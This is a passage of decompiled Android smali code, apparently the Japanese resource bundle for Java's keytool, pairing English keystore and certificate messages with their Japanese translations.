                                                                              387const-string v3, "\u5225\u540d {0} \u306e\u30a8\u30f3\u30c8\u30ea\u306f\u30a4\u30f3\u30dd\u30fc\u30c8\u3055\u308c\u307e\u305b\u3093\u3067\u3057\u305f\u3002"
                                                                              388aput-object v3, v2, v5
                                                                              389aput-object v2, v0, v1
                                                                              390const/16 v1, 0x2b
                                                                              391new-array v2, v6, [Ljava/lang/Object;
                                                                              393const-string v3, "Problem importing entry for alias <alias>: <exception>.\nEntry for alias <alias> not imported."
                                                                              394aput-object v3, v2, v4
                                                                              396const-string v3, "\u5225\u540d {0} \u306e\u30a8\u30f3\u30c8\u30ea\u306e\u30a4\u30f3\u30dd\u30fc\u30c8\u4e2d\u306b\u554f\u984c\u304c\u767a\u751f\u3057\u307e\u3057\u305f: {1}\u3002\n\u5225\u540d {0} \u306e\u30a8\u30f3\u30c8\u30ea\u306f\u30a4\u30f3\u30dd\u30fc\u30c8\u3055\u308c\u307e\u305b\u3093\u3067\u3057\u305f\u3002"
                                                                              397aput-object v3, v2, v5
                                                                              398aput-object v2, v0, v1
                                                                              399const/16 v1, 0x2c
                                                                              400new-array v2, v6, [Ljava/lang/Object;
                                                                              402const-string v3, "Import command completed: <ok> entries successfully imported, <fail> entries failed or cancelled"
                                                                              403aput-object v3, v2, v4
                                                                              405const-string v3, "\u30a4\u30f3\u30dd\u30fc\u30c8\u30b3\u30de\u30f3\u30c9\u304c\u5b8c\u4e86\u3057\u307e\u3057\u305f: {0} \u4ef6\u306e\u30a8\u30f3\u30c8\u30ea\u306e\u30a4\u30f3\u30dd\u30fc\u30c8\u304c\u6210\u529f\u3057\u307e\u3057\u305f\u3002{1} \u4ef6\u306e\u30a8\u30f3\u30c8\u30ea\u306e\u30a4\u30f3\u30dd\u30fc\u30c8\u304c\u5931\u6557\u3057\u305f\u304b\u53d6\u308a\u6d88\u3055\u308c\u307e\u3057\u305f"
                                                                              406aput-object v3, v2, v5
                                                                              407aput-object v2, v0, v1
                                                                              408const/16 v1, 0x2d
                                                                              409new-array v2, v6, [Ljava/lang/Object;
                                                                              411const-string v3, "Warning: Overwriting existing alias <alias> in destination keystore"
                                                                              412aput-object v3, v2, v4
                                                                              414const-string v3, "\u8b66\u544a: \u51fa\u529b\u5148\u30ad\u30fc\u30b9\u30c8\u30a2\u5185\u306e\u65e2\u5b58\u306e\u5225\u540d {0} \u3092\u4e0a\u66f8\u304d\u3057\u3066\u3044\u307e\u3059"
                                                                              415aput-object v3, v2, v5
                                                                              416aput-object v2, v0, v1
                                                                              417const/16 v1, 0x2e
                                                                              418new-array v2, v6, [Ljava/lang/Object;
                                                                              420const-string v3, "Existing entry alias <alias> exists, overwrite? [no]: "
                                                                              421aput-object v3, v2, v4
                                                                              423const-string v3, "\u65e2\u5b58\u306e\u30a8\u30f3\u30c8\u30ea\u306e\u5225\u540d {0} \u304c\u5b58\u5728\u3057\u3066\u3044\u307e\u3059\u3002\u4e0a\u66f8\u304d\u3057\u307e\u3059\u304b? [no]: "
                                                                              424aput-object v3, v2, v5
                                                                              425aput-object v2, v0, v1
                                                                              426const/16 v1, 0x2f
                                                                              427new-array v2, v6, [Ljava/lang/Object;
                                                                              429const-string v3, "Too many failures - try later"
                                                                              430aput-object v3, v2, v4
                                                                              432const-string v3, "\u969c\u5bb3\u304c\u591a\u904e\u304e\u307e\u3059 - \u5f8c\u3067\u5b9f\u884c\u3057\u3066\u304f\u3060\u3055\u3044\u3002"
                                                                              433aput-object v3, v2, v5
                                                                              434aput-object v2, v0, v1
                                                                              435const/16 v1, 0x30
                                                                              436new-array v2, v6, [Ljava/lang/Object;
                                                                              438const-string v3, "Certification request stored in file <filename>"
                                                                              439aput-object v3, v2, v4
                                                                              441const-string v3, "\u8a3c\u660e\u66f8\u8981\u6c42\u304c\u30d5\u30a1\u30a4\u30eb <{0}> \u306b\u4fdd\u5b58\u3055\u308c\u307e\u3057\u305f\u3002"
                                                                              442aput-object v3, v2, v5
                                                                              443aput-object v2, v0, v1
                                                                              444const/16 v1, 0x31
                                                                              445new-array v2, v6, [Ljava/lang/Object;
                                                                              447const-string v3, "Submit this to your CA"
                                                                              448aput-object v3, v2, v4
                                                                              450const-string v3, "\u3053\u308c\u3092 CA \u306b\u63d0\u51fa\u3057\u3066\u304f\u3060\u3055\u3044\u3002"
                                                                              451aput-object v3, v2, v5
                                                                              452aput-object v2, v0, v1
                                                                              453const/16 v1, 0x32
                                                                              454new-array v2, v6, [Ljava/lang/Object;
                                                                              456const-string v3, "if alias not specified, destalias, srckeypass, and destkeypass must not be specified"
                                                                              457aput-object v3, v2, v4
                                                                              459const-string v3, "\u5225\u540d\u3092\u6307\u5b9a\u3057\u306a\u3044\u5834\u5408\u3001\u51fa\u529b\u5148\u30ad\u30fc\u30b9\u30c8\u30a2\u306e\u5225\u540d\u3001\u30bd\u30fc\u30b9\u30ad\u30fc\u30b9\u30c8\u30a2\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3001\u304a\u3088\u3073\u51fa\u529b\u5148\u30ad\u30fc\u30b9\u30c8\u30a2\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u306f\u6307\u5b9a\u3067\u304d\u307e\u305b\u3093"
                                                                              460aput-object v3, v2, v5
                                                                              461aput-object v2, v0, v1
                                                                              462const/16 v1, 0x33
                                                                              463new-array v2, v6, [Ljava/lang/Object;
                                                                              465const-string v3, "Certificate stored in file <filename>"
                                                                              466aput-object v3, v2, v4
                                                                              468const-string v3, "\u8a3c\u660e\u66f8\u304c\u30d5\u30a1\u30a4\u30eb <{0}> \u306b\u4fdd\u5b58\u3055\u308c\u307e\u3057\u305f\u3002"
                                                                              469aput-object v3, v2, v5
                                                                              470aput-object v2, v0, v1
                                                                              471const/16 v1, 0x34
                                                                              472new-array v2, v6, [Ljava/lang/Object;
                                                                              474const-string v3, "Certificate reply was installed in keystore"
                                                                              475aput-object v3, v2, v4
                                                                              477const-string v3, "\u8a3c\u660e\u66f8\u5fdc\u7b54\u304c\u30ad\u30fc\u30b9\u30c8\u30a2\u306b\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3055\u308c\u307e\u3057\u305f\u3002"
                                                                              478aput-object v3, v2, v5
                                                                              479aput-object v2, v0, v1
                                                                              480const/16 v1, 0x35
                                                                              481new-array v2, v6, [Ljava/lang/Object;
                                                                              483const-string v3, "Certificate reply was not installed in keystore"
                                                                              484aput-object v3, v2, v4
                                                                              486const-string v3, "\u8a3c\u660e\u66f8\u5fdc\u7b54\u304c\u30ad\u30fc\u30b9\u30c8\u30a2\u306b\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3055\u308c\u307e\u305b\u3093\u3067\u3057\u305f\u3002"
                                                                              487aput-object v3, v2, v5
                                                                              488aput-object v2, v0, v1
                                                                              489const/16 v1, 0x36
                                                                              490new-array v2, v6, [Ljava/lang/Object;
                                                                              492const-string v3, "Certificate was added to keystore"
                                                                              493aput-object v3, v2, v4
                                                                              495const-string v3, "\u8a3c\u660e\u66f8\u304c\u30ad\u30fc\u30b9\u30c8\u30a2\u306b\u8ffd\u52a0\u3055\u308c\u307e\u3057\u305f\u3002"
                                                                              496aput-object v3, v2, v5
                                                                              497aput-object v2, v0, v1
                                                                              498const/16 v1, 0x37
                                                                              499new-array v2, v6, [Ljava/lang/Object;
                                                                              501const-string v3, "Certificate was not added to keystore"
                                                                              502aput-object v3, v2, v4
                                                                              504const-string v3, "\u8a3c\u660e\u66f8\u304c\u30ad\u30fc\u30b9\u30c8\u30a2\u306b\u8ffd\u52a0\u3055\u308c\u307e\u305b\u3093\u3067\u3057\u305f\u3002"
                                                                              505aput-object v3, v2, v5
                                                                              506aput-object v2, v0, v1
                                                                              507const/16 v1, 0x38
                                                                              508new-array v2, v6, [Ljava/lang/Object;
                                                                              510const-string v3, "[Storing ksfname]"
                                                                              511aput-object v3, v2, v4
                                                                              513const-string v3, "[{0} \u3092\u683c\u7d0d\u4e2d]"
                                                                              514aput-object v3, v2, v5
                                                                              515aput-object v2, v0, v1
                                                                              516const/16 v1, 0x39
                                                                              517new-array v2, v6, [Ljava/lang/Object;
                                                                              519const-string v3, "alias has no public key (certificate)"
                                                                              520aput-object v3, v2, v4
                                                                              522const-string v3, "{0} \u306b\u306f\u516c\u958b\u9375 (\u8a3c\u660e\u66f8) \u304c\u3042\u308a\u307e\u305b\u3093\u3002"
                                                                              523aput-object v3, v2, v5
                                                                              524aput-object v2, v0, v1
                                                                              525const/16 v1, 0x3a
                                                                              526new-array v2, v6, [Ljava/lang/Object;
                                                                              528const-string v3, "Cannot derive signature algorithm"
                                                                              529aput-object v3, v2, v4
                                                                              531const-string v3, "\u7f72\u540d\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u3092\u53d6\u5f97\u3067\u304d\u307e\u305b\u3093\u3002"
                                                                              532aput-object v3, v2, v5
                                                                              533aput-object v2, v0, v1
                                                                              534const/16 v1, 0x3b
                                                                              535new-array v2, v6, [Ljava/lang/Object;
                                                                              537const-string v3, "Alias <alias> does not exist"
                                                                              538aput-object v3, v2, v4
                                                                              540const-string v3, "\u5225\u540d <{0}> \u306f\u5b58\u5728\u3057\u307e\u305b\u3093\u3002"
                                                                              541aput-object v3, v2, v5
                                                                              542aput-object v2, v0, v1
                                                                              543const/16 v1, 0x3c
                                                                              544new-array v2, v6, [Ljava/lang/Object;
                                                                              546const-string v3, "Alias <alias> has no certificate"
                                                                              547aput-object v3, v2, v4
                                                                              549const-string v3, "\u5225\u540d <{0}> \u306f\u8a3c\u660e\u66f8\u3092\u4fdd\u6301\u3057\u307e\u305b\u3093\u3002"
                                                                              550aput-object v3, v2, v5
                                                                              551aput-object v2, v0, v1
                                                                              552const/16 v1, 0x3d
                                                                              553new-array v2, v6, [Ljava/lang/Object;
                                                                              555const-string v3, "Key pair not generated, alias <alias> already exists"
                                                                              556aput-object v3, v2, v4
                                                                              558const-string v3, "\u9375\u30da\u30a2\u306f\u751f\u6210\u3055\u308c\u307e\u305b\u3093\u3067\u3057\u305f\u3002\u5225\u540d <{0}> \u306f\u3059\u3067\u306b\u5b58\u5728\u3057\u307e\u3059\u3002"
                                                                              559aput-object v3, v2, v5
                                                                              560aput-object v2, v0, v1
                                                                              561const/16 v1, 0x3e
                                                                              562new-array v2, v6, [Ljava/lang/Object;
                                                                              564const-string v3, "Cannot derive signature algorithm"
                                                                              565aput-object v3, v2, v4
                                                                              567const-string v3, "\u7f72\u540d\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u3092\u53d6\u5f97\u3067\u304d\u307e\u305b\u3093\u3002"
                                                                              568aput-object v3, v2, v5
                                                                              569aput-object v2, v0, v1
                                                                              570const/16 v1, 0x3f
                                                                              571new-array v2, v6, [Ljava/lang/Object;
                                                                              573const-string v3, "Generating keysize bit keyAlgName key pair and self-signed certificate (sigAlgName) with a validity of validality days\n\tfor: x500Name"
                                                                              574aput-object v3, v2, v4
                                                                              576const-string v3, "{3} \u65e5\u9593\u6709\u52b9\u306a {0} \u30d3\u30c3\u30c8\u306e {1} \u306e\u9375\u30da\u30a2\u3068\u81ea\u5df1\u7f72\u540d\u578b\u8a3c\u660e\u66f8 ({2}) \u3092\u751f\u6210\u3057\u3066\u3044\u307e\u3059\n\t\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u540d: {4}"
                                                                              577aput-object v3, v2, v5
                                                                              578aput-object v2, v0, v1
                                                                              579const/16 v1, 0x40
                                                                              580new-array v2, v6, [Ljava/lang/Object;
                                                                              582const-string v3, "Enter key password for <alias>"
                                                                              583aput-object v3, v2, v4
                                                                              585const-string v3, "<{0}> \u306e\u9375\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044\u3002"
                                                                              586aput-object v3, v2, v5
                                                                              587aput-object v2, v0, v1
                                                                              588const/16 v1, 0x41
                                                                              589new-array v2, v6, [Ljava/lang/Object;
                                                                              591const-string v3, "\t(RETURN if same as keystore password): "
                                                                              592aput-object v3, v2, v4
                                                                              594const-string v3, "\t(\u30ad\u30fc\u30b9\u30c8\u30a2\u306e\u30d1\u30b9\u30ef\u30fc\u30c9\u3068\u540c\u3058\u5834\u5408\u306f RETURN \u3092\u62bc\u3057\u3066\u304f\u3060\u3055\u3044): "
                                                                              595aput-object v3, v2, v5
                                                                              596aput-object v2, v0, v1
                                                                              597const/16 v1, 0x42
                                                                              598new-array v2, v6, [Ljava/lang/Object;
                                                                              600const-string v3, "Key password is too short - must be at least 6 characters"
                                                                              601aput-object v3, v2, v4
                                                                              603const-string v3, "\u9375\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u77ed\u904e\u304e\u307e\u3059 - 6 \u6587\u5b57\u4ee5\u4e0a\u3092\u6307\u5b9a\u3057\u3066\u304f\u3060\u3055\u3044\u3002"
                                                                              604aput-object v3, v2, v5
                                                                              605aput-object v2, v0, v1
                                                                              606const/16 v1, 0x43
                                                                              607new-array v2, v6, [Ljava/lang/Object;
                                                                              609const-string v3, "Too many failures - key not added to keystore"
                                                                              610aput-object v3, v2, v4
                                                                              612const-string v3, "\u969c\u5bb3\u304c\u591a\u904e\u304e\u307e\u3059 - \u9375\u306f\u30ad\u30fc\u30b9\u30c8\u30a2\u306b\u8ffd\u52a0\u3055\u308c\u307e\u305b\u3093\u3067\u3057\u305f"
                                                                              613aput-object v3, v2, v5
                                                                              614aput-object v2, v0, v1
                                                                              615const/16 v1, 0x44
                                                                              616new-array v2, v6, [Ljava/lang/Object;
                                                                              618const-string v3, "Destination alias <dest> already exists"
                                                                              619aput-object v3, v2, v4
                                                                              621const-string v3, "\u5b9b\u5148\u306e\u5225\u540d <{0}> \u306f\u3059\u3067\u306b\u5b58\u5728\u3057\u307e\u3059\u3002"
                                                                              622aput-object v3, v2, v5
                                                                              623aput-object v2, v0, v1
                                                                              624const/16 v1, 0x45
                                                                              625new-array v2, v6, [Ljava/lang/Object;
                                                                              627const-string v3, "Password is too short - must be at least 6 characters"
                                                                              628aput-object v3, v2, v4
                                                                              630const-string v3, "\u30d1\u30b9\u30ef\u30fc\u30c9\u304c\u77ed\u904e\u304e\u307e\u3059 - 6 \u6587\u5b57\u4ee5\u4e0a\u3092\u6307\u5b9a\u3057\u3066\u304f\u3060\u3055\u3044\u3002"
                                                                              631aput-object v3, v2, v5
                                                                              632aput-object v2, v0, v1
                                                                              633const/16 v1, 0x46
                                                                              634new-array v2, v6, [Ljava/lang/Object;
                                                                              636const-string v3, "Too many failures. Key entry not cloned"
                                                                              637aput-object v3, v2, v4
                                                                              639const-string v3, "\u969c\u5bb3\u304c\u591a\u904e\u304e\u307e\u3059\u3002\u9375\u30a8\u30f3\u30c8\u30ea\u306f\u8907\u88fd\u3055\u308c\u307e\u305b\u3093\u3067\u3057\u305f\u3002"
                                                                              640aput-object v3, v2, v5
                                                                              641aput-object v2, v0, v1
                                                                              642const/16 v1, 0x47
                                                                              643new-array v2, v6, [Ljava/lang/Object;
                                                                              645const-string v3, "key password for <alias>"
                                                                              646aput-object v3, v2, v4
                                                                              648const-string v3, "<{0}> \u306e\u9375\u306e\u30d1\u30b9\u30ef\u30fc\u30c9"
                                                                              649aput-object v3, v2, v5
                                                                              650aput-object v2, v0, v1
                                                                              651const/16 v1, 0x48
                                                                              652new-array v2, v6, [Ljava/lang/Object;
                                                                              654const-string v3, "Keystore entry for <id.getName()> already exists"
                                                                              655aput-object v3, v2, v4
                                                                              657const-string v3, "<{0}> \u306e\u30ad\u30fc\u30b9\u30c8\u30a2\u30a8\u30f3\u30c8\u30ea\u306f\u3059\u3067\u306b\u5b58\u5728\u3057\u307e\u3059\u3002"
                                                                              658aput-object v3, v2, v5
                                                                              659aput-object v2, v0, v1
                                                                              660const/16 v1, 0x49
                                                                              661new-array v2, v6, [Ljava/lang/Object;
                                                                              663const-string v3, "Creating keystore entry for <id.getName()> ..."
                                                                              664aput-object v3, v2, v4
                                                                              666const-string v3, "<{0}> \u306e\u30ad\u30fc\u30b9\u30c8\u30a2\u30a8\u30f3\u30c8\u30ea\u3092\u4f5c\u6210\u4e2d..."
                                                                              667aput-object v3, v2, v5
                                                                              668aput-object v2, v0, v1
                                                                              669const/16 v1, 0x4a
                                                                              670new-array v2, v6, [Ljava/lang/Object;
                                                                              672const-string v3, "No entries from identity database added"
                                                                              673aput-object v3, v2, v4
                                                                              675const-string v3, "\u30a2\u30a4\u30c7\u30f3\u30c6\u30a3\u30c6\u30a3\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u304b\u3089\u8ffd\u52a0\u3055\u308c\u305f\u30a8\u30f3\u30c8\u30ea\u306f\u3042\u308a\u307e\u305b\u3093\u3002"
                                                                              676aput-object v3, v2, v5
                                                                              677aput-object v2, v0, v1
                                                                              678const/16 v1, 0x4b
                                                                              679new-array v2, v6, [Ljava/lang/Object;
                                                                              681const-string v3, "Alias name: alias"
                                                                              682aput-object v3, v2, v4
                                                                              684const-string v3, "\u5225\u540d: {0}"
                                                                              685aput-object v3, v2, v5
                                                                              686aput-object v2, v0, v1
                                                                              687const/16 v1, 0x4c
                                                                              688new-array v2, v6, [Ljava/lang/Object;
                                                                              690const-string v3, "Creation date: keyStore.getCreationDate(alias)"
                                                                              691aput-object v3, v2, v4
                                                                              693const-string v3, "\u4f5c\u6210\u65e5: {0,date}"
                                                                              694aput-object v3, v2, v5
                                                                              695aput-object v2, v0, v1
                                                                              696const/16 v1, 0x4d
                                                                              697new-array v2, v6, [Ljava/lang/Object;
                                                                              699const-string v3, "alias, keyStore.getCreationDate(alias), "
                                                                              700aput-object v3, v2, v4
                                                                              702const-string v3, "{0}, {1,date}, "
                                                                              703aput-object v3, v2, v5
                                                                              704aput-object v2, v0, v1
                                                                              705const/16 v1, 0x4e
                                                                              706new-array v2, v6, [Ljava/lang/Object;
                                                                              708const-string v3, "alias, "
                                                                              709aput-object v3, v2, v4
                                                                              711const-string v3, "{0}, "
                                                                              712aput-object v3, v2, v5
                                                                              713aput-object v2, v0, v1
                                                                              714const/16 v1, 0x4f
                                                                              715new-array v2, v6, [Ljava/lang/Object;
                                                                              717const-string v3, "Entry type: <type>"
                                                                              718aput-object v3, v2, v4
                                                                              720const-string v3, "\u30a8\u30f3\u30c8\u30ea\u30bf\u30a4\u30d7: {0}"
                                                                              721aput-object v3, v2, v5
                                                                              722aput-object v2, v0, v1
                                                                              723const/16 v1, 0x50
                                                                              724new-array v2, v6, [Ljava/lang/Object;
                                                                              726const-string v3, "Certificate chain length: "
                                                                              727aput-object v3, v2, v4
                                                                              729const-string v3, "\u8a3c\u660e\u9023\u9396\u306e\u9577\u3055: "
                                                                              730aput-object v3, v2, v5
                                                                              731aput-object v2, v0, v1
                                                                              732const/16 v1, 0x51
                                                                              733new-array v2, v6, [Ljava/lang/Object;
                                                                              735const-string v3, "Certificate[(i + 1)]:"
                                                                              736aput-object v3, v2, v4
                                                                              738const-string v3, "\u8a3c\u660e\u66f8[{0,number,integer}]:"
                                                                              739aput-object v3, v2, v5
                                                                              740aput-object v2, v0, v1
                                                                              741const/16 v1, 0x52
                                                                              742new-array v2, v6, [Ljava/lang/Object;
                                                                              744const-string v3, "Certificate fingerprint (MD5): "
                                                                              745aput-object v3, v2, v4
                                                                              747const-string v3, "\u8a3c\u660e\u66f8\u306e\u30d5\u30a3\u30f3\u30ac\u30fc\u30d7\u30ea\u30f3\u30c8 (MD5): "
                                                                              748aput-object v3, v2, v5
                                                                              749aput-object v2, v0, v1
                                                                              750const/16 v1, 0x53
                                                                              751new-array v2, v6, [Ljava/lang/Object;
                                                                              753const-string v3, "Entry type: trustedCertEntry\n"
                                                                              754aput-object v3, v2, v4
                                                                              756const-string v3, "\u30a8\u30f3\u30c8\u30ea\u306e\u30bf\u30a4\u30d7: trustedCertEntry\n"
                                                                              757aput-object v3, v2, v5
                                                                              758aput-object v2, v0, v1
                                                                              759const/16 v1, 0x54
                                                                              760new-array v2, v6, [Ljava/lang/Object;
                                                                              762const-string v3, "trustedCertEntry,"
                                                                              763aput-object v3, v2, v4
                                                                              765const-string v3, "trustedCertEntry,"
                                                                              766aput-object v3, v2, v5
                                                                              767aput-object v2, v0, v1
                                                                              768const/16 v1, 0x55
                                                                              769new-array v2, v6, [Ljava/lang/Object;
                                                                              771const-string v3, "Keystore type: "
                                                                              772aput-object v3, v2, v4
                                                                              774const-string v3, "\u30ad\u30fc\u30b9\u30c8\u30a2\u306e\u30bf\u30a4\u30d7: "
                                                                              775aput-object v3, v2, v5
                                                                              776aput-object v2, v0, v1
                                                                              777const/16 v1, 0x56
                                                                              778new-array v2, v6, [Ljava/lang/Object;
                                                                              780const-string v3, "Keystore provider: "
                                                                              781aput-object v3, v2, v4
                                                                              783const-string v3, "\u30ad\u30fc\u30b9\u30c8\u30a2\u306e\u30d7\u30ed\u30d0\u30a4\u30c0: "
                                                                              784aput-object v3, v2, v5
                                                                              785aput-object v2, v0, v1
                                                                              786const/16 v1, 0x57
                                                                              787new-array v2, v6, [Ljava/lang/Object;
                                                                              789const-string v3, "Your keystore contains keyStore.size() entry"
                                                                              790aput-object v3, v2, v4
                                                                              792const-string v3, "\u30ad\u30fc\u30b9\u30c8\u30a2\u306b\u306f {0,number,integer} \u30a8\u30f3\u30c8\u30ea\u304c\u542b\u307e\u308c\u307e\u3059\u3002"
                                                                              793aput-object v3, v2, v5
                                                                              794aput-object v2, v0, v1
                                                                              795const/16 v1, 0x58
                                                                              796new-array v2, v6, [Ljava/lang/Object;
                                                                              798const-string v3, "Your keystore contains keyStore.size() entries"
                                                                              799aput-object v3, v2, v4
                                                                              801const-string v3, "\u30ad\u30fc\u30b9\u30c8\u30a2\u306b\u306f {0,number,integer} \u30a8\u30f3\u30c8\u30ea\u304c\u542b\u307e\u308c\u307e\u3059\u3002"
                                                                              802aput-object v3, v2, v5
                                                                              803aput-object v2, v0, v1
                                                                              804const/16 v1, 0x59
                                                                              805new-array v2, v6, [Ljava/lang/Object;
                                                                              807const-string v3, "Failed to parse input"
                                                                              808aput-object v3, v2, v4
                                                                              810const-string v3, "\u5165\u529b\u306e\u69cb\u6587\u89e3\u6790\u306b\u5931\u6557\u3057\u307e\u3057\u305f\u3002"
                                                                              811aput-object v3, v2, v5
                                                                              812aput-object v2, v0, v1
                                                                              813const/16 v1, 0x5a
                                                                              814new-array v2, v6, [Ljava/lang/Object;
                                                                              816const-string v3, "Empty input"
                                                                              817aput-object v3, v2, v4
                                                                              819const-string v3, "\u5165\u529b\u304c\u3042\u308a\u307e\u305b\u3093\u3002"
                                                                              820aput-object v3, v2, v5
                                                                              821aput-object v2, v0, v1
                                                                              822const/16 v1, 0x5b
                                                                              823new-array v2, v6, [Ljava/lang/Object;
                                                                              825const-string v3, "Not X.509 certificate"
                                                                              826aput-object v3, v2, v4
                                                                              828const-string v3, "X.509 \u8a3c\u660e\u66f8\u3067\u306f\u3042\u308a\u307e\u305b\u3093\u3002"
                                                                              829aput-object v3, v2, v5
                                                                              830aput-object v2, v0, v1
                                                                              831const/16 v1, 0x5c
                                                                              832new-array v2, v6, [Ljava/lang/Object;
                                                                              834const-string v3, "Cannot derive signature algorithm"
                                                                              835aput-object v3, v2, v4
                                                                              837const-string v3, "\u7f72\u540d\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u3092\u53d6\u5f97\u3067\u304d\u307e\u305b\u3093\u3002"
                                                                              838aput-object v3, v2, v5
                                                                              839aput-object v2, v0, v1
                                                                              840const/16 v1, 0x5d
                                                                              841new-array v2, v6, [Ljava/lang/Object;
                                                                              843const-string v3, "alias has no public key"
                                                                              844aput-object v3, v2, v4
                                                                              846const-string v3, "{0} \u306b\u306f\u516c\u958b\u9375\u304c\u3042\u308a\u307e\u305b\u3093\u3002"
                                                                              847aput-object v3, v2, v5
                                                                              848aput-object v2, v0, v1
                                                                              849const/16 v1, 0x5e
                                                                              850new-array v2, v6, [Ljava/lang/Object;
                                                                              852const-string v3, "alias has no X.509 certificate"
                                                                              853aput-object v3, v2, v4
                                                                              855const-string v3, "{0} \u306b\u306f X.509 \u8a3c\u660e\u66f8\u304c\u3042\u308a\u307e\u305b\u3093\u3002"
                                                                              856aput-object v3, v2, v5
                                                                              857aput-object v2, v0, v1
                                                                              858const/16 v1, 0x5f
                                                                              859new-array v2, v6, [Ljava/lang/Object;
                                                                              861const-string v3, "New certificate (self-signed):"
                                                                              862aput-object v3, v2, v4
                                                                              864const-string v3, "\u65b0\u3057\u3044\u8a3c\u660e\u66f8 (\u81ea\u5df1\u7f72\u540d\u578b):"
                                                                              865aput-object v3, v2, v5
                                                                              866aput-object v2, v0, v1
                                                                              867const/16 v1, 0x60
                                                                              868new-array v2, v6, [Ljava/lang/Object;
                                                                              870const-string v3, "Reply has no certificates"
                                                                              871aput-object v3, v2, v4
                                                                              873const-string v3, "\u5fdc\u7b54\u306b\u306f\u8a3c\u660e\u66f8\u304c\u3042\u308a\u307e\u305b\u3093\u3002"
                                                                              874aput-object v3, v2, v5
                                                                              875aput-object v2, v0, v1
                                                                              876const/16 v1, 0x61
                                                                              877new-array v2, v6, [Ljava/lang/Object;
                                                                              879const-string v3, "Certificate not imported, alias <alias> already exists"
                                                                              880aput-object v3, v2, v4
                                                                              882const-string v3, "\u8a3c\u660e\u66f8\u306f\u30a4\u30f3\u30dd\u30fc\u30c8\u3055\u308c\u307e\u305b\u3093\u3067\u3057\u305f\u3002\u5225\u540d <{0}> \u306f\u3059\u3067\u306b\u5b58\u5728\u3057\u307e\u3059\u3002"
                                                                              883aput-object v3, v2, v5
                                                                              884aput-object v2, v0, v1
                                                                              885const/16 v1, 0x62
                                                                              886new-array v2, v6, [Ljava/lang/Object;
                                                                              888const-string v3, "Input not an X.509 certificate"
                                                                              889aput-object v3, v2, v4
                                                                              891const-string v3, "\u5165\u529b\u306f X.509 \u8a3c\u660e\u66f8\u3067\u306f\u3042\u308a\u307e\u305b\u3093\u3002"
                                                                              892aput-object v3, v2, v5
                                                                              893aput-object v2, v0, v1
                                                                              894const/16 v1, 0x63
                                                                              895new-array v2, v6, [Ljava/lang/Object;
                                                                              897const-string v3, "Certificate already exists in keystore under alias <trustalias>"
                                                                              898aput-object v3, v2, v4
                                                                              900const-string v3, "\u8a3c\u660e\u66f8\u306f\u3001\u5225\u540d <{0}> \u306e\u30ad\u30fc\u30b9\u30c8\u30a2\u306b\u3059\u3067\u306b\u5b58\u5728\u3057\u307e\u3059\u3002"
                                                                              901aput-object v3, v2, v5
                                                                              902aput-object v2, v0, v1
                                                                              903const/16 v1, 0x64
                                                                              904new-array v2, v6, [Ljava/lang/Object;
                                                                              906const-string v3, "Do you still want to add it? [no]: "
                                                                              907aput-object v3, v2, v4
                                                                              909const-string v3, "\u8ffd\u52a0\u3057\u307e\u3059\u304b? [no]: "
                                                                              910aput-object v3, v2, v5
                                                                              911aput-object v2, v0, v1
                                                                              912const/16 v1, 0x65
                                                                              913new-array v2, v6, [Ljava/lang/Object;
                                                                              915const-string v3, "Certificate already exists in system-wide CA keystore under alias <trustalias>"
                                                                              916aput-object v3, v2, v4
                                                                              918const-string v3, "\u8a3c\u660e\u66f8\u306f\u3001\u5225\u540d <{0}> \u306e\u30b7\u30b9\u30c6\u30e0\u898f\u6a21\u306e CA \u30ad\u30fc\u30b9\u30c8\u30a2\u5185\u306b\u3059\u3067\u306b\u5b58\u5728\u3057\u307e\u3059\u3002"
                                                                              919aput-object v3, v2, v5
                                                                              920aput-object v2, v0, v1
                                                                              921const/16 v1, 0x66
                                                                              922new-array v2, v6, [Ljava/lang/Object;
                                                                              924const-string v3, "Do you still want to add it to your own keystore? [no]: "
                                                                              925aput-object v3, v2, v4
                                                                              927const-string v3, "\u30ad\u30fc\u30b9\u30c8\u30a2\u306b\u8ffd\u52a0\u3057\u307e\u3059\u304b? [no]: "
                                                                              928aput-object v3, v2, v5
                                                                              929aput-object v2, v0, v1
                                                                              930const/16 v1, 0x67
                                                                              931new-array v2, v6, [Ljava/lang/Object;
                                                                              933const-string v3, "Trust this certificate? [no]: "
                                                                              934aput-object v3, v2, v4
                                                                              936const-string v3, "\u3053\u306e\u8a3c\u660e\u66f8\u3092\u4fe1\u983c\u3057\u307e\u3059\u304b? [no]: "
                                                                              937aput-object v3, v2, v5
                                                                              938aput-object v2, v0, v1
                                                                              939const/16 v1, 0x68
                                                                              940new-array v2, v6, [Ljava/lang/Object;
                                                                              942const-string v3, "YES"
                                                                              943aput-object v3, v2, v4
                                                                              945const-string v3, "YES"
                                                                              946aput-object v3, v2, v5
                                                                              947aput-object v2, v0, v1
                                                                              948const/16 v1, 0x69
                                                                              949new-array v2, v6, [Ljava/lang/Object;
                                                                              951const-string v3, "New prompt: "
                                                                              952aput-object v3, v2, v4
                                                                              954const-string v3, "\u65b0\u898f {0}: "
                                                                              955aput-object v3, v2, v5
                                                                              956aput-object v2, v0, v1
                                                                              957const/16 v1, 0x6a
                                                                              958new-array v2, v6, [Ljava/lang/Object;
                                                                              960const-string v3, "Passwords must differ"
                                                                              961aput-object v3, v2, v4
                                                                              963const-string v3, "\u30d1\u30b9\u30ef\u30fc\u30c9\u306f\u7570\u306a\u3063\u3066\u3044\u306a\u3051\u308c\u3070\u306a\u308a\u307e\u305b\u3093\u3002"
                                                                              964aput-object v3, v2, v5
                                                                              965aput-object v2, v0, v1
                                                                              966const/16 v1, 0x6b
                                                                              967new-array v2, v6, [Ljava/lang/Object;
                                                                              969const-string v3, "Re-enter new prompt: "
                                                                              970aput-object v3, v2, v4
                                                                              972const-string v3, "\u65b0\u898f {0} \u3092\u518d\u5165\u529b\u3057\u3066\u304f\u3060\u3055\u3044: "
                                                                              973aput-object v3, v2, v5
                                                                              974aput-object v2, v0, v1
